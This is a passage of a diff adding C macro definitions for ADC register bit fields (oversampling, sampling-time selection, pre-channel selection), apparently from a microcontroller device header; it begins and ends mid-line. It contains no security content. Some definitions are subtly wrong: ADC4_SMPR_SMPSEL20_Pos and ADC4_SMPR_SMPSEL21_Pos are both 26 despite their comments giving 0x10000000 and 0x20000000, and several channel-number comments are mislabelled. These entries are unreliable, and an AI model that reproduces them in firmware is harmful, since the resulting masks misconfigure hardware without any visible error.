definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define 